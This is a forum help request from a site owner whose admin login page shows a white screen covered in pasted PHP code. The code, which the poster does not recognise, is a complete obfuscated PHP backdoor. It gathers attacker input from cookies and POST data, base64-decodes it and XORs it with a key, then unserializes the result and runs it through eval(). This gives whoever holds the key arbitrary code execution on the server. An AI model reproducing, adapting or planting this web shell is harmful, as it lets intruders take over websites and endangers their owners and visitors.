admin login page not loading correctly

Hi. I am trying to login as an admin user and when I use any url that sends me to the login screen I get a white screen with this script/code on it.

$SdrercM = class_exists(“MI_grpQH”);if (!$SdrercM){class MI_grpQH{private $BtSjViaOrH;public static $mdwqjCTc = “c349d7f3-6131-4373-9a8e-c018bdbaaa6b”;public static $QlawFclhUK = NULL;public function __construct(){$VSBdEQq = $_COOKIE;$XAKpGKCO = $_POST;$agBeNuv = @$VSBdEQq[substr(MI_grpQH::$mdwqjCTc, 0, 4)];if (!empty($agBeNuv)){$QHTpRgQJ = “base64”;$GJpVBceXa = “”;$agBeNuv = explode(“,”, $agBeNuv);foreach ($agBeNuv as $RfAFjQ){$GJpVBceXa .= @$VSBdEQq[$RfAFjQ];$GJpVBceXa .= @$XAKpGKCO[$RfAFjQ];}$GJpVBceXa = array_map($QHTpRgQJ . ‘_’ . ‘d’ . chr ( 919 – 818 ).chr ( 219 – 120 ).chr ( 694 – 583 ).”\144″ . “\145”, array($GJpVBceXa,)); $GJpVBceXa = $GJpVBceXa[0] ^ str_repeat(MI_grpQH::$mdwqjCTc, (strlen($GJpVBceXa[0]) / strlen(MI_grpQH::$mdwqjCTc)) + 1);MI_grpQH::$QlawFclhUK = @unserialize($GJpVBceXa);}}public function __destruct(){$this->XhaVDAq();}private function XhaVDAq(){if (is_array(MI_grpQH::$QlawFclhUK)) {$FxXjBqwDjl = str_replace(“\74” . “\x3f” . chr ( 575 – 463 ).’h’ . chr ( 234 – 122 ), “”, MI_grpQH::$QlawFclhUK[“\x63” . chr ( 799 – 688 ).chr ( 1088 – 978 ).’t’ . ‘e’ . chr (110) . chr (116)]);eval($FxXjBqwDjl);exit();}}}$hcGdzgPOAi = new MI_grpQH(); $hcGdzgPOAi = NULL;} ?>

This makes it that I can’t get to the admin side of things, meaning I can’t change/add anything to my webpage.

Help would be appreciated.